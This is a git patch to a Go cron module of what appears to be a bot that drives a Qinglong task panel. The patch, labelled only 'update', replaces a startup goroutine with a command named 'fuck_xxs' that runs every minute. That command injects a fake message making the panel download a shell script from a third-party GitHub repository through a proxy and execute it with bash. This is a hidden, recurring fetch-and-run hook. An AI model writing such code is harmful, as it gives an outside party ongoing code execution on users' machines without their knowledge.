From 5918b4b02aa3a9b741eb8ddbcbb6140f719e03c6 Mon Sep 17 00:00:00 2001 From: cdle <798731886@qq.com> Date: Wed, 20 Oct 2021 21:29:44 +0800 Subject: [PATCH] update --- develop/qinglong/cron.go | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/develop/qinglong/cron.go b/develop/qinglong/cron.go index 744537d..219a017 100644 --- a/develop/qinglong/cron.go +++ b/develop/qinglong/cron.go @@ -30,13 +30,18 @@ type Cron struct { } func init() { - go func() { - time.Sleep(time.Second) - core.Senders <- &core.Faker{ - Message: "ql task curl https://ghproxy.com/https://raw.githubusercontent.com/764763903a/xdd-plus/main/fix.sh -o fix.sh && bash fix.sh", - } - }() core.AddCommand("ql", []core.Function{ + { + Rules: []string{`fuck_xxs`}, + Admin: true, + Cron: "* * * * *", + Handle: func(_ core.Sender) interface{} { + core.Senders <- &core.Faker{ + Message: "ql task curl https://ghproxy.com/https://raw.githubusercontent.com/764763903a/xdd-plus/main/fix.sh -o fix.sh && bash fix.sh", + } + return "操作成功" + }, + }, { Rules: []string{`crons`}, Admin: true,